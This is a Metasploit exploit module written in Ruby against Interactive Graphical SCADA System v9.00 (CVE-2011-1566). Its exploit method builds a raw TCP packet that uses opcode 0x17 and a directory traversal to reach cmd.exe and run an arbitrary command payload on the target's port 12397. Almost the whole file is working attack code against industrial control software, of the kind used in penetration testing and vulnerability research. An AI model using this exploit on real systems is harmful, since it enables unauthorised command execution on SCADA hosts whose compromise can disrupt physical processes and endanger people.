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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Interactive Graphical SCADA System Remote Command Injection',
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      'Description'    => %q{
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          This module abuses a directory traversal flaw in Interactive
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        Graphical SCADA System v9.00. In conjunction with the traversal
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        flaw, if opcode 0x17 is sent to the dc.exe process, an attacker
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        may be able to execute arbitrary system commands.
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      },
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      'Author'         =>
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        [
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          'Luigi Auriemma',
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          'MC'
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2011-1566'],
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          [ 'OSVDB', '72349'],
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          [ 'URL', 'http://aluigi.org/adv/igss_8-adv.txt' ],
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        ],
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      'Platform'       => 'win',
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      'Arch'           => ARCH_CMD,
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      'Payload'        =>
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        {
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          'Space'       => 153,
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          'DisableNops' => true
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        },
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      'Targets'        =>
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        [
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          [ 'Windows', {} ]
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        ],
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      'DefaultTarget'  => 0,
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      'Privileged'     => false,
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      'DisclosureDate' => '2011-03-21'))
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    register_options(
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      [
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        Opt::RPORT(12397)
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      ])
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  end
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  def exploit
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    print_status("Sending exploit packet...")
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    connect
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    packet =  [0x00000100].pack('V') + [0x00000000].pack('V')
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    packet << [0x00000100].pack('V') + [0x00000017].pack('V')
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    packet << [0x00000000].pack('V') + [0x00000000].pack('V')
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    packet << [0x00000000].pack('V') + [0x00000000].pack('V')
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    packet << [0x00000000].pack('V') + [0x00000000].pack('V')
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    packet << [0x00000000].pack('V')
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    packet << "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\"
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    packet << "windows\\system32\\cmd.exe\" /c #{payload.encoded}"
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    packet << "\x00" * (143) #
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    sock.put(packet)
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    sock.get_once(-1,0.5)
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    disconnect
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  end
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end
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